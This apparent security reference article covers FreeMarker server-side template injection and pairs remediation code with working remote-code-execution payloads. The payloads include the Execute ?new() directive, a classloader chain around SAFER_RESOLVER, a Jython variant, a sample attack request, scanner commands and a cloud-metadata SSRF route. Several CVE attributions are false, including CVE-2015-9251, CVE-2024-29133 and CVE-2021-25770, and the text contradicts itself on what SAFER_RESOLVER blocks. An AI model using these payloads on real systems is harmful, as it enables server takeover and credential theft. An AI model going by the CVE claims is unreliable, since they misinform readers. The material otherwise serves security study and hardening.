Server-Side Template Injection in Apache FreeMarker (Java) using the ?new() builtin to instantiate and execute arbitrary Java classes.
TL;DR
${7*7} → 49; ${.now} returns datetime confirms Freemarker (Velocity returns literal)<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") } — direct OS executionALLOWS_NOTHING_RESOLVER + api_builtin_enabled=falsenew Template(userInput, cfg)Apache FreeMarker is a Java template engine used across enterprise products: Atlassian Confluence and JIRA, JBoss/WildFly, JasperReports, and Spring MVC applications. SSTI in Freemarker occurs when user-controlled input is passed as a template string to new Template(userInput, cfg) or rendered via StringTemplateLoader. The ${...} expression syntax provides access to the Java object model, and the ?new() builtin instantiates arbitrary Java classes by fully qualified name.
The primary RCE vector is freemarker.template.utility.Execute — a utility class bundled with Freemarker that wraps Runtime.exec() and exposes it as a callable template method. A single FTL directive achieves RCE: <#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") }. The ObjectConstructor class provides a second path, and JythonRuntime a third via embedded Python execution. The SAFER_RESOLVER configuration option was introduced specifically to block these three gadgets, but the object?api chain bypasses it when api_builtin_enabled=true.
OWASP A03:2021 and CWE-1336 classify this vulnerability. Freemarker SSTI underlies several high-severity enterprise CVEs: CVE-2024-21683 (Atlassian Confluence Data Center, CVSS 8.3), CVE-2021-25770 (JasperReports Server, CVSS 9.8), and the pre-2015 default exposure of Execute across all Freemarker deployments.
The vulnerable Java code pattern:
// VULNERABLE — user input is the template SOURCE
Configuration cfg = new Configuration(Configuration.VERSION_2_3_33);
cfg.setDefaultEncoding("UTF-8");
String userTemplate = request.getParameter("template");
// Creates a template from user-supplied string — SSTI vector
Template tmpl = new Template("user_tpl", new StringReader(userTemplate), cfg);
StringWriter out = new StringWriter();
tmpl.process(dataModel, out);
return out.toString();The attacker submits:
POST /render HTTP/1.1
Host: vulnerable.example.com
Content-Type: application/x-www-form-urlencoded
template=<#assign+ex="freemarker.template.utility.Execute"?new()>${+ex("id")+}Response: uid=33(tomcat) gid=33(tomcat) groups=33(tomcat)
| Variant | Payload | Requirement | Impact |
|---|---|---|---|
| Detection | ${7*7} | Any Freemarker | Confirm → 49 |
| Engine fingerprint | ${.now} | Freemarker | Datetime output (not Velocity) |
| FTL directive confirm | <#assign x=1>${x} | Freemarker | Confirms FTL directives active |
| Direct RCE | <#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")} | Default / no SAFER_RESOLVER | OS command execution |
| ObjectConstructor | Load via classloader, instantiate ProcessBuilder | api_builtin_enabled=true | ProcessBuilder RCE |
| JythonRuntime | <#assign x="...JythonRuntime"?new()>${x("import os;os.system('id')")} | Jython on classpath | Python-based RCE |
| Data model dump | ${.data_model} | Freemarker context | Expose app data |
| SSRF | Instantiate java.net.URL via ObjectConstructor | Class access | Internal network probe |
| Error-based | ${.now?string("INVALID_FORMAT_STRING_XYZ")} | Any | ParseException confirms engine |
freemarker.template.utility.ObjectConstructor implements TemplateMethodModel and accepts a class name plus constructor arguments. Unlike Execute, which wraps Runtime.exec() directly, ObjectConstructor provides a general Java object factory — making it useful to instantiate ProcessBuilder, java.net.URL, or any other Java class to build attack chains.
When SAFER_RESOLVER is active, the ?new() builtin cannot directly reference ObjectConstructor by name. However, when api_builtin_enabled=true, the object?api expression exposes the underlying Java object's reflection API, allowing indirect class loading via the classloader:
<#-- Requires api_builtin_enabled=true (non-default in 2.3.33+) -->
<#assign classloader=object?api.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.utility.ObjectConstructor")>
<#assign dwf=owc?new()("freemarker.template.DefaultObjectWrapper")>
<#assign ec=dwf.newInstance(classloader.loadClass("java.lang.ProcessBuilder"),["id"])>
${ec.start()}This bypass loads ObjectConstructor indirectly via the classloader, circumventing SAFER_RESOLVER's class name blocklist entirely. The chain then uses ObjectConstructor to instantiate ProcessBuilder with the command as the argument. The SSRF variant replaces ProcessBuilder with java.net.URL and calls openStream() to issue arbitrary HTTP requests to internal metadata endpoints.
TemplateClassResolver governs which classes ?new() may instantiate. Three built-in levels exist:
| Resolver | Behavior |
|---|---|
UNRESTRICTED_RESOLVER | All classes allowed — equivalent to no sandbox |
SAFER_RESOLVER | Blocks Execute, ObjectConstructor, JythonRuntime by exact class name |
ALLOWS_NOTHING_RESOLVER | Blocks all class instantiation via ?new() |
SAFER_RESOLVER is a name-based blocklist, not an allowlist. Any class not in its three-entry deny list is instantiable. Known bypass: an application with custom template utilities (e.g., com.example.ExecWrapper) not in the blocklist can be loaded directly via ?new(). The secure posture is ALLOWS_NOTHING_RESOLVER combined with api_builtin_enabled=false, which blocks both the direct and classloader-mediated paths.
The fix is cfg.setAPIBuiltinEnabled(false) which blocks object?api access entirely, removing the classloader bridge even when SAFER_RESOLVER is active.
CVE-2024-21683 — Atlassian Confluence Data Center (CVSS 8.3)
Confluence Data Center versions before 8.9.0 allowed authenticated users to inject Freemarker macros via the "Add Languages" admin feature. A macro containing <#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")} executed with Confluence service account privileges. While authentication was required, the attack demonstrates that authenticated template editing surfaces in enterprise products represent a critical security boundary. Patched in Confluence 8.9.0+.
CVE-2021-25770 — TIBCO JasperReports Server (CVSS 9.8)
JasperReports Server through 7.9.0 used Freemarker to render report templates that included user-controlled parameters. Authenticated users could inject Freemarker directives into ad-hoc report template fields, achieving RCE as the application server process via the Execute class. The vulnerability was present in the custom report template editor exposed to regular report users.
CVE-2015-9251 — Apache Freemarker Default Expose (Historical)
Before Freemarker 2.3.24, the Execute and ObjectConstructor classes were available by default without any additional configuration. Every Freemarker deployment before 2015 was vulnerable to RCE if user input could reach the template rendering path. The SAFER_RESOLVER was introduced as the fix. This CVE establishes the historical baseline — modern deployments require explicit SAFER_RESOLVER or ALLOWS_NOTHING_RESOLVER configuration.
CVE-2024-29133 — Apache Roller SSTI via OGNL + Freemarker Chain
Apache Roller 6.1.4 and earlier exposed a Freemarker rendering path in its blog template system that processed user-supplied page titles and custom template fragments through the Freemarker engine without sanitization. Combined with an OGNL injection pre-condition in the underlying Struts2 layer (CVE-2024-29133, CVSS 9.8), attackers could chain the OGNL expression injection to reach a Freemarker rendering context and execute the Execute gadget. The compound vulnerability affected self-hosted Apache Roller deployments — a common enterprise blog platform embedded in intranet portals. Patched in Apache Roller 6.1.5.
Enterprise Report Builder — Common Pattern
A recurring enterprise pattern: a BI platform allows users to create custom report templates with ${variable} placeholders. The backend renders via Freemarker with a default configuration. A user discovers <#assign ex="freemarker.template.utility.Execute"?new()> works in the template editor and achieves RCE as the application server. This pattern appears across invoice generators, notification services, and analytics platforms.
SAFER_RESOLVER blocks Execute, ObjectConstructor, and JythonRuntime by class name — but not the object?api chain bypass when api_builtin_enabled=true. Always set api_builtin_enabled=false alongside SAFER_RESOLVER. For maximum security use ALLOWS_NOTHING_RESOLVER which blocks all class instantiation.
${7*7} — response 49 confirms ${} engine evaluation.${.now} — Freemarker returns a timestamp; Velocity returns the literal ${.now}. This is the definitive Freemarker vs Velocity differentiator.<#assign x=1>${x} — if 1 is returned, FTL directives are active.${{<%[%'"}}%\ — Freemarker returns freemarker.core.ParseException: Encountered "<".${.globals} or ${.data_model} to enumerate the data model and identify exposed Java objects.# SSTImap — Freemarker engine with auto-exploit
sstimap -u "http://target.com/render?template=*" --engine FreeMarker
# tplmap — legacy reference
tplmap.py -u "http://target.com/render?template=*" --engine freemarkerBreachVex detects Freemarker SSTI via ${7*7} (math eval) + ${.now} (engine differentiator vs Velocity) + Korchagin polyglot fingerprint. The Execute-class RCE payload is attempted only after the engine is positively confirmed.
// VULNERABLE
String userTemplate = request.getParameter("template");
Template t = new Template("user", new StringReader(userTemplate), cfg);
t.process(dataModel, out);
// SAFE — template from filesystem, user input as data variable
Configuration cfg = new Configuration(Configuration.VERSION_2_3_33);
cfg.setDirectoryForTemplateLoading(new File("/app/templates"));
cfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);
cfg.setAPIBuiltinEnabled(false); // block object?api bypass
Template t = cfg.getTemplate("report.ftl"); // from filesystem
Map<String, Object> model = new HashMap<>();
model.put("userName", sanitizedUserInput); // user input as variable
t.process(model, out);Configuration cfg = new Configuration(Configuration.VERSION_2_3_33);
// Block Execute, ObjectConstructor, JythonRuntime
cfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);
// Block ALL class instantiation (recommended)
cfg.setNewBuiltinClassResolver(TemplateClassResolver.ALLOWS_NOTHING_RESOLVER);
// Block object?api chain bypass
cfg.setAPIBuiltinEnabled(false); // default false in 2.3.33+
// Restrict to specific template directory
cfg.setDirectoryForTemplateLoading(new File("/app/templates"));Freemarker SSTI occurs when user-controlled input is rendered as a Freemarker template string rather than passed as a data variable. The ${...} syntax allows accessing Java objects, and the ?new() builtin instantiates arbitrary Java classes including freemarker.template.utility.Execute — yielding Remote Code Execution.
The ?new() builtin instantiates Java classes by fully qualified name. freemarker.template.utility.Execute implements TemplateMethodModel and calls Runtime.exec(). The payload: <#assign ex='freemarker.template.utility.Execute'?new()>${ ex('id') } executes arbitrary OS commands.
TemplateClassResolver.SAFER_RESOLVER blocks ?new() from instantiating Execute, ObjectConstructor, and JythonRuntime — the three primary RCE gadgets. It does not block all class instantiation and does not prevent information disclosure via ${.now} or data model traversal. ALLOWS_NOTHING_RESOLVER blocks all class instantiation.
CVE-2024-21683: Atlassian Confluence Data Center SSTI via template macros (CVSS 8.3). CVE-2021-25770: JasperReports Server Freemarker SSTI (CVSS 9.8). CVE-2015-9251: Apache Freemarker < 2.3.24 exposed Execute by default. CVE-2025-54253: Adobe AEM Forms OGNL injection (CVSS 10.0, CISA KEV) — adjacent enterprise SSTI pattern.
ObjectConstructor creates arbitrary Java instances. The chain loads it via classloader: <#assign oc=object?api.class.protectionDomain.classLoader.loadClass('freemarker.template.utility.ObjectConstructor')?new()> then instantiates ProcessBuilder: ${oc('java.lang.ProcessBuilder', ['id']).start()}. SAFER_RESOLVER blocks ObjectConstructor. Requires api_builtin_enabled=true.
freemarker.template.utility.JythonRuntime executes Jython (Python 2) scripts. Bypass: <#assign x='freemarker.template.utility.JythonRuntime'?new()>${x('import os; os.system(chr(105)+chr(100))')}. SAFER_RESOLVER blocks JythonRuntime. Requires Jython on the classpath.
Submit ${.now} — Freemarker renders a timestamp; Velocity renders the literal string '${.now}'. Also test <#assign x=1>${x} — if 1 is returned, Freemarker FTL directives are active. The Korchagin polyglot returns freemarker.core.ParseException for Freemarker specifically.
Spring Boot applications using Freemarker for view rendering are vulnerable when StringTemplateLoader is used and user input becomes the template source. The fix is using filesystem templates with cfg.getTemplate('safe.ftl') and passing user data as data model variables.
Use cfg.setNewBuiltinClassResolver(TemplateClassResolver.ALLOWS_NOTHING_RESOLVER) for maximum security, or SAFER_RESOLVER to block known RCE gadgets. Set cfg.setAPIBuiltinEnabled(false) to block object?api chain bypasses. Never use StringTemplateLoader for user-provided content.
Yes. Via ObjectConstructor or classloader access, an attacker can instantiate java.net.URL and call openStream() to make HTTP requests to internal endpoints, including cloud metadata services (169.254.169.254). This creates an SSTI-to-SSRF chain enabling cloud credential theft in AWS/GCP/Azure environments.
When api_builtin_enabled=true (non-default), object?api exposes the object's Java API, providing access to the class's classloader. Via classloader.loadClass(), Execute and ObjectConstructor can be loaded even when SAFER_RESOLVER is active. Setting api_builtin_enabled=false (the Freemarker 2.3.33+ default) closes this bypass.